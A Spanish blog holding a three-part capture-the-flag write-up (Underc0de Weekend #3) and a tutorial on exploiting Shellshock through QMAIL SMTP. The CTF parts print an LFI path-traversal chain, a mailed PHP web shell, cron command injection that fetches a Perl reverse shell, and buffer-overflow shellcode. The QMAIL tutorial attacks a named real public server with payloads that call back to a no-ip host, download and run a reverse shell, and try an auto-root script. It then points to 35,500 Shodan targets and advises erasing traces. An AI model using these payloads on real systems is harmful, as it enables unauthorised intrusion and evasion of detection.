Solucionario de Underc0de Weekend #3 (Parte 3)

8:55 1 Comments A+ a-

Ahora manos a la obra para el ultimo paso!!! A Derootear al enemigo! (jajajja mal chiste!).


Lo primero que notamos es que cada X tiempo nos llega un molesto mensaje y al revisarlo vemos que el sysadmin fue cuidadoso y que también envía emails de nuestros movimientos, por lo que si fuera una intrucion ilegal deberíamos borrar varias huellas!


Vemos como llegan correos a underdist con lo que ejecuta cronping.py


Vemos que el kernel está actualizado así que descartamos todo tipo de Local Root Exploit conocidos, empezamos a analizar con unix-privesc-check si tenemos privilegios de escritura sobre algún archivo que corra como root... y nada.

No doy detalles sobre como se usa unix-privessc-check porque mi amigo [Q3rv0] ya hizo un muy buen tuto sobre fingerprinting con unix-prives-check
Link para los interesados: (Repito Google no muerde!!!)
Entonces nos ponemos a contar flores un rato relajamos la mente y nos ponemos a pensar de que forma podemos rootear este genial reto!, la única opción que me queda por probar es encontrar algún binario SUID que pueda utilizar para mi cometido!.
Nos ponemos a buscar binarios SUID con el siguiente comando:

find / -perm -4000 -type f 2>/dev/null

Dejamos que termine y obtenemos los siguientes ficheros SUID.


En la lista noto uno muy extraño... /home/underdist/.bin/echo
Todo este tiempo buscando y se encontraba bajo mi nariz!. (Bien pensado [Q3rv0]).

No perdemos tiempo y nos dirigimos al sitio y podemos ver que simplemente hace un echo en pantalla lo que enviamos como parámetro.


Pero también notamos algo curioso, si lo ejecutamos sin argumentos nos envia el mensaje, "Violación de Segmento".


Y esto me grita a kilómetros: HEEEEY SOY UN BUFFEROVERFLOW!!!! EXPLOTAME!!!!

Así que le hago caso a mi instinto y me pongo a mirarlo con gdb, un lindo debugger de consola para inux!

Comenzamos a probar:


Y como podemos ver, desbordamos la pila y el eip se sobreescribio con los Bytes \x41 ('A') enviados, sabemos que por encima de 400 bytes logramos sobrescribir el eip, pero ahora debemos encontrar el largo justo para explotar el BuffOver de forma exitosa, empezamos a probar valores.


Vemos que con 306 bytes logramos sobre escribir los 2 primeros bytes del eip (Si los 2 primeros por que no nos olvidemos que la arquitectura de esta maquina según uname -r es i486 lo que significa que trabaja con little endian)
Llegamos a 2 conclusiones primero que el largo del buffer es 308 y segundo que el ASLR debe estar desactivado (Sino esto no seria posible y deberíamos bypassearlo pero según parece no es necesario)
Ahora con un poco de matemática llegamos a la siguiente conclucion... para lograr explotar este BuffOver de forma exitosa, primero debemos preguntarnos cuantos NOP necesitamos? Y que shellcode utilizaremos? (Obviamente sabemos que tenemos que dejar 4 bytes para realizar el salto al eip).

Yo en este caso utilicé esta shellcode de 23 bytes:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

Entonces si el buffer es de 308 bytes – 23 bytes (shellcode) – 4 bytes (eip) = 281 bytes.

Esos 281 bytes son los que deben estar llenos de NOP armamos nuestro payload, y lo probamos en gdb.

Payload:
run $(python -c 'print
"\x90"*281+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xa0\xf8\xff\xbf"')

Probamos con gdb a ver que pasa...


Vemos que el BufferOverflow se ejecuta de forma correcta pero no nos devuelve shell root, entonces probamos por fuera de gdb. (A nuestro Payload ahora deberemos sacarle “run” ya que run es un comando de gdb).

./echo $(python -c 'print
"\x90"*281+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb
0\x0b\xcd\x80"+"\xa0\xf8\xff\xbf"')

y esperamos la shell:


BOOOOM! Lo hemos logrado!! somos root! Ahora nos vamos a /root/ y hacemos un ls.


Notamos 2 archivos, entre ellos nuestro preciado flag!


Curiosidades


Después del reto quise sacarme algunas dudas que me habían quedado:

El contenido de r.sh:
(Esto desactiva el ASLR (por esto pudimos explotar el BuffOverflow sin Bypass)

El contenido de v.php:

Por esto no tuvimos que usar el path transversal, el php forzaba la inclusión de archivos en /ascii/letras/

Los permisos de /var/www:

(Realmente no podíamos escribir en ninguna carpeta de /var/www por eso nuestro fopen en php no funcionaba)

Autor del Reto: [Q3rv0]
Autor del Solucionario: HD_Breaker.

Solucionario de Underc0de Weekend #3 (Parte 2)

8:53 0 Comments A+ a-


Esto era algo absultamente increíble, jamas pero jamas pensé que algo así pudiera funcionar... obviamente con algunos errores por la inclusión, pero nos podemos mover bastante cómodos, así que me pongo a investigar y hago un ls.


Vemos una interesante carpeta b_gd214dg, la visitamos ya directamente desde el navegador, esperando que no tenga ningún .htaccess sino tendríamos q seguir con nuestra weevely.

Veamos si podemos ver el contenido de foo.backup:

Tenemos un hermoso Private Key RSA!!! ahora queda averiguar a que usuario pertenece!

No tardamos y lo agregamos a nuestro .ssh y lo ponemos a correr con ssh-add .ssh/NombreKey (no nos olvidamos de cambiar los permisos a 400 sino no vamos a poder agregarlo al registro de llaves RSA de linux).

Aquí me encontré con algo que me sorprendió y al mismo tiempo no... al agregar el Private Key no me pidió passphrase, cosa que supuse por logica, que de otra forma el wargame no se podría resolver.

Luego largamos nuestro ssh usuario@ip y empezamos a probar los usuarios, y sin mucho q tardar entramos como el usuario cuervo!


Ahora resta investigar y escalar privilegios, lo primero que noto y rápidamente me pongo a investigar es que sobre /home/ existen 2 usuarios (cuervo y underdist) y que por casualidades de la vida puedo leer dentro de la carpeta del usuario underdist (Cosa que debería ser imposible en un sistema seguro).



Descartamos por completo la lectura de .bash_history ya que se trata de un enlase simbólico a /dev/null por lo tanto todo lo que cae ahí se pierde!.

Vemos que no tenemos muchos permisos para nada, pero podemos leer cronping.py (que como su nombre indica se ejecuta cada 1 minuto en crontab) y el archivo ips, en el cual tenemos permisos de escritura! No pierdo mucho tiempo y me pongo a leer el código de cronping.py ya que esto me suena a Privileges Escalation!!!



A simple vista los que trabajamos en algún proyecto con python notamos q save() deja logs de la actividad del programa en /tmp/logs por lo q si logramos alterar el funcionamiento del programa, dejaremos registro de nuestra actividad que en caso de una auditoría no autorizada deberíamos borrar.
Seguimos con en análisis, vemos que la función ips() lee el contenido del archivo ips.txt en el cual nosotros tenemos privilegios de escritura (acá el punto de inyeccion) y después la función command(c) que recibe como parámetro una ip y le ejecuta una serie de acciones, en la linea:



Vemos como se ejecuta un comando del sistema y sin ningún tipo de sanitizacion o evaluación previa se le pasa como parámetro “c”.

“c” se inyecta donde esta el %s, y no olvidamos que “c” es una ip, y esa ip viene del archivo ips.txt, en el cual nosotros podemos escribir, entonces me bajo el archivo de forma local a mi pc hago un par de pruebas y llego al siguiente PoC para el archivo ips.txt

127.0.0.1 | wget 192.168.1.55/rsh.perl | chmod 777 /home/underdist/rsh.perl | perl rsh.perl 192.168.1.55 9669 -l | echo done > /home/underdist/done.txt

Esto se termina inyectando de la siguiente manera en el comando que ejecuta el script en python:

ping -c -1 -w 127.0.0.1 | wget 192.168.1.55/rsh.perl | chmod 777 /home/underdist/rsh.perl | perl rsh.perl 192.168.1.55 9669 -l | echo done > /home/underdist/done.txt | grep received | cut -d “ “ -f 4

Los que nos manejamos en el mundillo linux, sabemos que hace este comando, a los que no les paso a explicar, el pipe “|” sirve de concatenador de comandos, entonces para no romper el comando principal del archivo python y lograr la ejecución código arbitrario, primero pongo un ip cosa que el comando ping se cumpla correctamente y después entre las pipes siguientes agrego todo comando que quiera ejecutar.
En este caso yo descargó una Reverse Shell programada por mi en perl, le doy permisos 777, la mando a ejecución y para saber si el comando se ejecutó correctamente creo un archivo done.txt en el path del usuario underdist, espero un rato a que cron haga su trabajo y obtengo shell en mi nc -l -vv 9669 con privilegios de underdist!



Felices y contentos nos ponemos a investigar un poco, porq nuestro próximo objetivo es obtener el root!!!

Primero que nada yo opto por lo siguiente... como realmente no me gusta trabajar mucho de esta forma... y como sabemos que el servidor trabaja con RSA Clave Publica/Privada... nos vamos a generar nuestra propia clave privada y publica para subirla al .ssh del usuario underdist y solicitar una conexión ssh con /bin/bash... y así estar mas comodos... (Algunos dirán que soy una nena jajaja)


Ya con con nuestro conjunto de clave Privada y Publica:


Proseguimos a enviar nuestra clave publica Underd1st.pub a /var/www y darle permisos 777 para poder descargarla desde la maquina que este momento ya puedo llamarla “Víctima” y luego enviar y agregar Underd1st a .ssh de mi Pc local.

En la Víctima:


Después de esto movemos Underd1st.pub a .ssh/authorized_keys para mas tarde valide con nuestra Private RSA y por las dudas levantamos ssh de nuevo.



Pc Local:

Enviamos Underd1st a .ssh/ y hacemos ssh-add .ssh/Underd1st.


Solo resta hacer un ssh underdist@192.168.1.36


A estas alturas podemos movernos con libertad como underdist!

Explotar Shellshock en smtp QMAIL

14:00 0 Comments A+ a-



Como he leido mucho de shellshock y nada sobre como explotarlo, les dejo un pequeño tutorial de como explotarlo un poco más allá de los clasicos user-agent (que siendo realista muy pocos servidores utlizán cgi-scripts y menos hechos en bash).

Esto afecta a los servidores smtp de QMAIL por no validar correctamente el encabezado FROM MAIL:<> permitiendo ingresar como email cualquier string,
nosotros aprovecharemos esto para lograr ejecutar nuestro codigo arbitrario con la ayuda de shellshock.

Para el PoC use este servidor que encontré vulnerable: 200.80.35.42

Empezamos!

1) Dejamos a la escucha el puerto donde queremos recibir la conexión entrante:

nc -vv -l -p 9669


2) Nos conectamos al servidor smtp y realizamos el ataque

nc -vv 200.80.35.42 25

Entablamos toda la negociación necesaria con el servidor SMTP, esto consta de 4 pasos

.helo me (Le comunicamos al servidor que necesitamos usar su servicio)
.mail from:<direccion@gmail.com> (establecemos la dirección de email remitente) ---> ACÁ INYECTAMOS NUESTRO CODIGO SHELLSHOCK
rcpt to: <> (direccion@dominio.com) (establecemos la direccion del receptor del mensaje)
data (Comenzamos a escribir el email)
Subject: Titulo. (Establecemos el titulo del mensaje y lo terminamos con un .)
Mensaje. (Escribimos el mensaje terminado con un .)

FIN (Esperamos que se complete el proceso)

(Para mas info de SMTP visitar http://technet.microsoft.com/es-es/library/aa996114(v=exchg.65).aspx )

Bueno como mas arriba dije el error radica en que QMAIL no valida que lo ingresado en MAIL FROM sea un email
entonces en mi caso inyecto el siguiente payload shellshock:

() { :;}; /usr/bin/telnet xxxx.no-ip.org 9669

Al terminar el proceso de QMAIL deberia ejecutar el codigo arbitrario inyectado en la variable global de la función de shellshock y devolvernos una conexion entrante a nuestro puerto a la escucha


Esto significa q con un poco de conocimiento hemos logrado ejecutar codigo arbitrario en el servidor mediante un servidor vulnerable explotando un error de validación de SMTP, en este simple PoC me devolví una conexión telnet, pero podriamos jugar con los comandos para subir un reverse shell y ganar acceso al sistema, veamos como!

Esta vez vamos a ejecutar codigo arbitrario para descargarnos de nuestro servidor web un reverse shell en perl

Payload:

() { :;}; /usr/bin/wget xxx.no-ip.org:8080/rsh.perl


Esperamos un tiempo considerable para asegurarnos la descarga de nuestro script, ponemos a escuchar nuevamente nc:


Y ejecutamos nuestro archivo perl:

() { :;}; /usr/bin/perl rsh.perl xxx.no-ip.org 9669 -l


Y ahora tenemos acceso al sistema! JA! si indagamos un poco y largamos un whoami! vemos que es un kernel 2.6.


Intentemos rootearlo, yo en mi caso use un AutoRoot en perl que encontre por internet.

wget xxx.no-ip.com:8081/AutoRoot.pl


Pasemos a ver si tenemos suerte!

Ejecutamos los AutoRoot.pl y vemos q sucede (yo en mi caso moví ambos archivos a otra carpeta).

perl AutoRoot.pl y esperamos!

En este caso no hemos tenido suerte, lo que no descarta que buscando un poco podamos hacer un rooteo manual del servidor (De hecho ya lo hice)
pero eso quedará para otro tutorial! (Estoy haciendo el tutorial mientras realizo la intrusión).


No nos olvidemos de borrar todas nuestras huellas!

Y después de esto preguntaran, cuantos sitios vulnerables a shellshock existen, bueno yo me ayudé un poco de mi amigo SHODAN


35500 posibles target vulnerables solo por QMAIL SMTP!!.

Autor: HDBreaker.

Solucionario de Underc0de Weekend #3 (Parte 1)

11:00 6 Comments A+ a-


Por si alguien no lo conoce, Underc0de Weekend, es un reto semanal que estamos haciendo, el objetivo es ser el primero en resolverlo, pudiendo así ganar puntos y premios (http://underc0de.org/underweekend.php).

Solucionario:

Después de descargar el reto y configurar el entorno nos encontramos con una imagen de presentación:


Primero, antes que nada hacemos un scan rápido con nmap para buscar las nuevas ips de nuestra red, en mi caso use un escaneo rápido por ping:

Código
  1. $ nmap -sn 192.168.1.0/24 // Esperamos a que termine el scan



De estas ips, la única q no reconozco (al ser mi red de hogar) es 192.168.1.36, teniendo el objetivo le hacemos un scan en profundidad

Código
  1. $ sudo nmap -sS -P0 -sV -O 192.168.1.36 //Esperamos que termine



Podemos apreciar que tiene 3 servicios activos:

Entre ellos destacan 2, un servidor web en el puerto 80 y un servidor de emails en el 25 primero, antes que nada como buen desarrollador y como fuerte en la programación, me inclino a buscar vulnerabilidades a nivel código en la aplicación web (tal vez alguien de redes hubiera analizado primero el Postfix)

Analizando un poco el html nos encontramos con un curioso comentario:



<a href="v.php?a=YXNjaWkxLnR4dA==">foo</a>

A simple vista se puede detectar el Base64Encode intentado proteger la integridad de la petición GET, en este punto lo primero que se me ocurrió fue que se trataba de un Base64 SQL Injection, pero antes de ponernos a trabajar, sin duda es una url que no dejamos de visitar:



El primer paso a seguir era ver que estaba ocultando el Base64 y en ese momento descarté totalmente cualquier tipo de SQL Injection y me dí cuenta de que absolutamente y sin dudas se trataba de un Local File Inclusion (LFI).

Lo primero que se me ocurre es usar el LFI para incluir el index y estar 100% seguro de que estamos ante un LFI, probé varios nombres .php (index.php, index.php5, home.php, etc) hasta que descarté la posibilidad de que nuestro index fuera un .php y me dedique a incluir html.

Para los que no sepan a estas alturas, este tipo de LFI requiere que antes de ejecutarlo encodeemos en base64 el parámetro enviado, en nuestro caso

index.html ---> Base64 ---> aW5kZXguaHRtbA==


Para mi sorpresa el index.html no se incluye, entonces me empiezo a preguntar, que está haciendo v.php que incluye ascii1.txt, pero no index.html, parseará solo txt? O tendrá especificado un directorio especifico para la búsqueda de archivos? Sera bypasseable???

Entonces, descarto posibilidades intentando incluir un directorio con su path, en este caso:

/etc/passwd ---> L2V0Yy9wYXNzd2Q=


Para mi sorpresa tampoco se realizó el LFI, empecé a sospechar de otro tipo de Vulnerabilidad, pero antes de darme por vencido intente un Scape Dir Bypass.

Para el que no lo haya escuchado nunca, se trata de una técnica para intentar escapar de la jaula actual redireccionando el recorrido que hace el LFI por medio de Path Transversal (el clásico ../).
Entonces, para estar seguro retrocedemos varios directorios hasta llegar al raíz y luego incluimos nuestra ruta al archivo algo así:

../../../../../../../../../../../../../../etc/passwd 

Que será

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==


Con éxito logramos incluir nuestro /etc/passwd, de pasada lo miramos un rato y encontramos unos usuarios comunes del sistema:


Obviamente postfix es el usuario de mail, así que a nosotros nos interesan los otros 2.

Con el fin de fijarme si SSH realmente estaba funcionando selecciono uno de estos usuarios e intento realizar una conexión ssh, esperando el famoso
password: _


Esto me pilló por sorpresa, no solo era un LFI, sino también el ssh me pedía un Private RSA Key del usuario. Por lo que intuyo que con ese LFI debería leer los key rsa de los .ssh, pero... no se con que nombre esta guardado el key...

Eso me desconcertó un rato, y decido seguir buscando archivos con el LFI:

Primero intento leer la configuración de apache2 para ver si el sitio realmente se hostea en /var/www o si el virtual directory es otro, además de asegurarme que no existe otra web en otro puerto o directorio virtual, para eso:

LFI → ../../../../../../../../../../../../etc/apache2/apache2.conf --->
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvYXBhY2hlMi5jb2
5m

Obtenemos la estructura general de los directorios de configuración de apache2, leemos lo que queremos, pero a nosotros por el momento nos interesa, ports.conf y sites-avalibles/default.


ports.conf nos dice que no hay ningún otro sitio montado en el mismo server ahora vamos que nos dice el /etc/apache2/sites-available/default de apache.

Por lo que vemos el virtual path es el correcto /var/www y además ejecuta cgi-bin scripts.

Lo primero que intuí fué que la solución venia por el lado de Shellshock Cgi-bin Scripting por lo que hice un pequeño PoC con curl


Puse a la espera un nc para recibir la shell... cosa que nunca llegó, entonces después de estar un largo rato desconcertado, me puse a leer la configuración de postfix... y nada y nada y nada... así casi 3 horas, leyendo y leyendo todos los archivos de configuración que me encontré en /etc, intenté leer /var/log y nada. 

También volví a leer /var/mail y tampoco, ya frustrado y por irme a dormir, me
picó el insomnio y decidí hacer un pequeño programa en python que automatizara todo el proceso de explotación del LFI, les dejo una imagen del código (dentro de poco lo terminare y lo dejaré público).



Lo que hace este script es mandar a inyectar al LFI todo diccionario de paths que recopilé de internet y algunos que agregue yo, y si existe una respuesta por parte del servidor q no sea nula, guarda la salida con el path de la inyección en un archivo llamado output.txt (Estoy trabajando en una versión definitiva, donde cada uno pueda agregar el tipo de codificación y la url vulnerable. Además la lista al ser un txt es sumamente personalizable).

Al ejecutarlo, recopilé muchísima información pero nada importante...

Esta vez deje de lado por un momento el LFI y me puse a testear el SMTP a ver si existía algún fallo, lo primero que probé fue explotar shellshock como lo hice en mi guía de 0day Shellshock Qmail (http://underc0de.org/foro/bugs-y-exploits/explotar-shellshock-en-smtp-qmail/) pero no logre ningún resultado... entonces me puse a jugar con los usuarios de /etc/passwd y comencé a enviar emails entre ellos, para los que no sepan como funciona el protocolo SMTP les
dejo una guía rápida (Google no muerde!)

Helo me
Mail from:<usuario>
rcpt to<usuario>
data
Contenido del EMAIL.
.

Lo terminamos con “.” para que se envié el Email.

Muy frustrado ya, y por irme a dormir de nuevo, me doy cuenta que todo este tiempo fui un idiota, y que siempre mandaba correos a los usuarios de cuervo a underdist y de underdist a cuervo y que me había saltado por completo al usuario www-data (el usuario de apache) y que aunque sea un usuario especial también tiene buzón de emails... y que www-data al ser dueño de /var/mail/www-
data (su propio buzón) iba a poder leerlo desde mi LFI!!! así que otra vez me dió insomnio y me puse a trabajar! (No estaba muy seguro de esto).


Entonces desde el LFI inyecto el siguiente path ../../../../../../../../../../../var/mail/www-data


Yo no lo podía creer, estaba saltando en una pata y ya casi eran las 4 am, luego de esto se me ocurrió por lógica pura, que el LFI ejecutaría cualquier email con contenido php que enviara, lo primero que intenté fué este codigo php:

<?php
$fp = fopen('test.php', 'w');
fwrite($fp, '<?php if($_GET['active']=='si'){
system( $_GET['c']); } ?>
');
fclose($fp);
?>


Realice el LFI y para mi sorpresa el fichero no se había logrado subir, supuse que por un problema de permisos, entonces directamente intenté inyectar mi shell en el lfi, pero esto por algún motivo rompió el fichero /var/mail/www-data y me vi obligado a reinstalar la maquina virtual...

Me dije a mi mismo... ¿Podre ejecutar system(), exec(), shell_exec(), etc?
Entonces envié el siguiente mail:

<?php  
system('ls'); 
exec('ls'); 
shell_exec('ls');  
?>


Exploto el LFI y espero ver una exec exitosa pero...

Nada... no se había ejecutado nada... por lo que dije, bueno no tengo permisos de escritura, y tampoco tengo permisos de ejecución... busquemos algún directorio donde pueda escribir...

Y puse a DirBuster a trabajar:


Entonces probé escribir en todos los directorios, pero no pude encontrar ninguno con privilegios de escritura... otra vez en el circulo, probé infinidad de cosas... todo tipo de inyecciones y ataques LFI... pero no logre nada, Otra vez por irme a dormir... y justo antes de sentarme en la cama, recuerdo un escenario similar que leí en una vieja revista de hackxcrack donde por medio de un LFI ejecutaban Weevely... yo muy dentro mio dije... esto es imposible... no tiene sentido, no puedo ejecutar system() ni exec() ni nada similar... no tengo privilegios de escritura en ningún lado... Weevely no debería funcionar, es imposible... pero por descarte fui y lo intente. Genere mi weevely shell.


Copio en contenido de mi shell y envié el ultimo correo que estaba dispuesto a enviar esa noche...


Esta vez... cambió un poco la técnica de inyección, de momento no nos interesa visualizar en el navegador la ejecución del código php, lo que nosotros vamos a intentar va a ser... por mas loco que suene... conectarnos con weevely al path con el LFI...


(WTF?!??!?!? Jamas pero jamas pensé que fuera a funcionar...)